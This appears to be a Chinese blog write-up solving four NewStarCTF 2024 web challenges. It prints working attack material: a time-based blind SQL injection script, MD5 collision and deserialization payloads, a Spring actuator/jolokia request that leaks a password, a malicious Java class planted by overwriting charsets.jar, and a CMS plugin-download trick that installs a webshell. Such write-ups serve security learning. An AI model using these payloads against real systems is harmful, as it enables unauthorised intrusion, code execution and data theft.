当前位置: 首页 > news >正文

NewStarCTF2024-Week4-Web-WP

目录

1、blindsql2

2、chocolate

3、隐藏的密码

4、ezcmsss


题目对勇师傅来说已经是开始上难度了所以这周没有AK

分享下自己做出来的题的解题思路

1、blindsql2

原本是在继续构造新的 payload,也测到了延时

打算去改上周的脚本,结果去跑的时候忘了将上次的最后 payload 注释,直接就上周的脚本就跑出来 flag 了,week3 应该是打算考布尔盲注,week4 是时间盲注,所以直接就都打通了。

exp:

# @author:Myon
# @time:20241015
import requests
import string
import time
url = 'http://eci-2ze6n37avcrdqdbhno0a.cloudeci1.ichunqiu.com/'
dic = string.ascii_lowercase + string.digits + '{}-_'
out = ''
for j in range(1, 100):a = 1 #设置一个标志位,用来判断是否已经猜到了最后一位for k in dic:# payload = f"student_name=0'or%09if(database()%09like%09%27{out+k}%25%27,sleep(1),0)and%271" # 猜数据库名# print(payload)# payload = f"student_name=0'or%09||if((select%09table_name%09from%09information_schema.tables%09where%09table_schema%09like%09'flag'limit%092,1)like'{out+k}%25',sleep(1),0)and%271"# payload = f"student_name=Alice%27||if((select%09column_name%09from%09information_schema.columns%09where%09table_schema%09like%09'ctf'and%09table_name%09like'secrets'limit%091,1)like'{out+k}%25',sleep(1),0)and%271"payload = f"student_name=Alice%27||if((select%09secret_value%09from%09ctf.secrets%09limit%092,1)like%09'{out+k}%25',sleep(1),0)and%271"re = requests.get(url, params=payload)# print(re.status_code)t = re.elapsed.total_seconds()# print(f"{j}:{time}")if t > 1.5:print(k)a = 0 #如果找到字符,则将标志位置0out += kprint(out)time.sleep(1)break #跳出内层的for循环,继续遍历下一位# if a == 1: #在进行下一次循环前,先判断当前字符是否找到#     break #若没有找到,则跳出外层循环,表示我们已经到了最后一个字符
print(out)

2、chocolate

目录扫描扫到了个 source.php,访问看不到内容

随便输一些东西测到了一个提示:

访问,然后绕过一下:

0ldStar.php?num=+02471

拿到:

可可液块 (g): 1337033 // gur arkg yriry vf : pbpbnOhggre_fgne.cuc, try to decode this 牢师傅如此说到

让我们解密这个,扔到随波逐流发现是个文件名

继续访问 cocoaButter_star.php

第一个是 md5 强碰撞:

cocoaButter_star.php?cat=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%00%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1U%5D%83%60%FB_%07%FE%A2&dog=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%02%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1%D5%5D%83%60%FB_%07%FE%A2

第二个传一个 0e 开头的 md5 加密后也是 0e 开头的即可实现相等,科学计数法都是 0

Payload:

moew=0e215962017

拿到:of course you konw// 可可脂 (g): 202409

最后一个是要求 md5 加密后前五位符合要求,一开始想到的是 md5 长度拓展攻击,发现不是,写个脚本爆破符合要求的字符即可:

import hashlibknowMd5 = '8031b'  # 已知的md5前缀
dict = 'abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ'  # 字符字典def md5(text):return hashlib.md5(str(text).encode('utf-8')).hexdigest()  # 计算md5哈希值# 爆破过程
for i in dict:for j in dict:for k in dict:for l in dict:# 生成四个字符组合x = i + j + k + l# 计算md5codeMd5 = md5(x)# 如果md5前五个字符等于已知的8031bif codeMd5[:5] == knowMd5:print(f"符合要求的next_level值:{x}")break  # 找到符合的组合后退出循环

比如我们传入 aNQa

拿到 of course you konw// 可可脂 (g): 202409// final.php

最后 final.php 是一个反序列化的利用,一开始还想绕过过滤的 chocolate,后面发现不需要绕过,并且 url 编码后传入不行,直接传序列化后的内容。

exp:

<?php
class chocolate{public $cat='???';public $kitty='???';public function __construct($u,$p){$this->cat=$u;$this->kitty=$p;}public function eatit(){return $this->cat===$this->kitty;}public function __toString(){return $this->cat;}public function __destruct(){global $darkCocoaPowder;echo $darkCocoaPowder;}
}$u = '111';
$p = '111';
$c = new chocolate($u,$p);
echo serialize($c);?>

让 $cat===$kitty 即可

Post传入:

O:9:"chocolate":2:{s:3:"cat";s:3:"111";s:5:"kitty";s:3:"111";}

拿到:黑可可粉 (g): 51540

最后还剩一个糖分,经过测试发现页面会有不同回显

确定范围是在 2000-2050 之间

Burpsuite 爆破一下:

拿到 flag:flag{d20ea743-bbae-4b75-a8e4-098c4ddecd5f}

3、隐藏的密码

目录扫描

/back.html

但是文件上传后访问不到,命令执行的是 ls

/actuator/env 接口下发现密码被******代替了

尝试获取星号的内容

Post:/actuator/jolokia

{"mbean": "org.springframework.boot:name=SpringApplication,type=Admin","operation": "getProperty","type": "EXEC","arguments": ["caef11.passwd"]}

拿到密码:123456qWertAsdFgZxCvB!@#

登录,发现界面内容和前面目录扫描出来的 back.html 是一样的…

命令执行模块 fuzz 测试一下,存在一些字符的过滤,过滤字符如下:

!$&();<>[\]`{|}

可以看到异或和取反都是可以使用的

尝试命令执行,发现不行

文件能传上去但是访问不到

找到了JDK HOME 目录:

/usr/local/openjdk-8/jre/lib

确认一下,确实可以成功上传文件到这个位置:

../../usr/local/openjdk-8/jre/lib/charsets.jar

那么我们直接覆盖 charsets.jar

触发:

Accept: text/html;charset=GBK

确实可以利用

重新构造一个 jar 包,通过将 class 文件反编译拿到了 java 源码,这里主要是替换 IBM33722.class

修改后的源码如下:

package sun.nio.cs.ext;import java.io.BufferedReader;
import java.io.File;
import java.io.FileReader;
import java.io.FileWriter;
import java.io.IOException;
import java.util.UUID;public class IBM33722 {static {fun();}public IBM33722(){fun();}private static java.util.HashMap<String, String> fun(){String flagFilePath = "/flag";String fileName = readFlag(flagFilePath);if (fileName == null) {fileName = "failed";}String random = UUID.randomUUID().toString().replace("-", "").substring(1, 9);String tempFilePath = "/tmp/" + fileName + "_" + random + ".log";createTempFile(tempFilePath);return null;}private static String readFlag(String path) {StringBuilder content = new StringBuilder();try (BufferedReader reader = new BufferedReader(new FileReader(new File(path)))) {String line;while ((line = reader.readLine()) != null) {content.append(line);}} catch (IOException e) {return null;}return content.toString();}private static void createTempFile(String path) {try (FileWriter writer = new FileWriter(new File(path))) {writer.write(path);} catch (IOException e) {e.printStackTrace();}}
}

读取根目录下的 flag,将内容写到 /tmp 目录下的文件名(因为我们只能执行ls命令)

编译成 class 文件,整体打包成 jar 包,上传覆盖 charsets.jar

重启环境,上传新的 charsets.jar

覆盖掉后触发方式同上

查看 /tmp 目录

拿到 flag:flag{d3350ef4-3b91-40e6-9d6a-2f0c8d33193e}

4、ezcmsss

Start.sh里拿到账户密码:

admin_name=jizhicms1498&admin_pass=4oP4fB51r5

登录后台:admin.php

允许上传 php 文件

后端还做了检测

在前端随便注册一个账号

尝试上传但是没有分栏可选

在后台添加一下

还是不行,配置文件也传不了,估计这个漏洞已经修了

又看到另一个下载插件路径可控的,但是插件管理里面并没有看到可以下载插件的地方, 手动构造一下,但是似乎出不了网...

那就手动传一个一句话木马的 zip 到它的本地

从本地下载插件:

action=start-download&filepath=dbrestore&download_url=http://127.0.0.1/static/upload/2024/10/26/202410262358.zip

解压:

action=file-upzip&filepath=dbrestore&download_url=http://127.0.0.1/static/upload/2024/10/26/202410262358.zip&filesize=0

访问 /A/exts,看到我们传的压缩包被解压了,得到一句话木马

调用木马:

读取 flag

拿到 flag:flag{9bb4ad6c-68e7-44ed-badd-4614a81f7df7}


http://www.mrgr.cn/news/61805.html

相关文章:

  • 安装双系统后ubuntu无法联网(没有wifi标识)网卡驱动为RTL8852BE
  • 【网络】传输层协议TCP
  • 基于spootboot学生选课系统设计与实现
  • Android AAR嵌套AAR打包出现问题解决方案
  • Android中的epoll机制
  • 51c视觉~合集1
  • 关于我、重生到500年前凭借C语言改变世界科技vlog.12——深入理解指针(2)
  • 【原创分享】详述中间件的前世今生
  • 北斗短报文终端-全星魅北斗手持终端-北斗有源终端
  • 提升RAG系统的回答质量:PDF解析代码详解-PdfParser核心流程
  • ELK之路第三步——日志收集筛选logstash和filebeat
  • Java Lock/AQS ReentrantLock 源码
  • 3DDFA-V3——基于人脸分割几何信息指导下的三维人脸重建
  • IP-guard与Ping32文档加密解决方案对比,选择适合自己的解决方案
  • html设置颜色相关等样式,需要在js层传入相关颜色参数
  • 爬虫设计思路
  • SpringBoot框架:闲一品交易平台的新突破
  • SpringBoot框架:闲一品交易的新引擎
  • 数据结构:链表
  • 特征选择算法
  • openEuler 24.03安装saltstack-3006.9后使用salt-ssh命令报错
  • Vue3使用AntV | X6绘制流程图:开箱即用
  • Nginx 反向代理流程,以及缓冲区详解
  • 才正式发布两个月GitHub高达星标29.7K!如果你想入门LLM大模型,那这就是最好的教程!
  • LoRA微调,真的有毒!
  • 一篇文章让你彻底掌握 Python【可保存下载】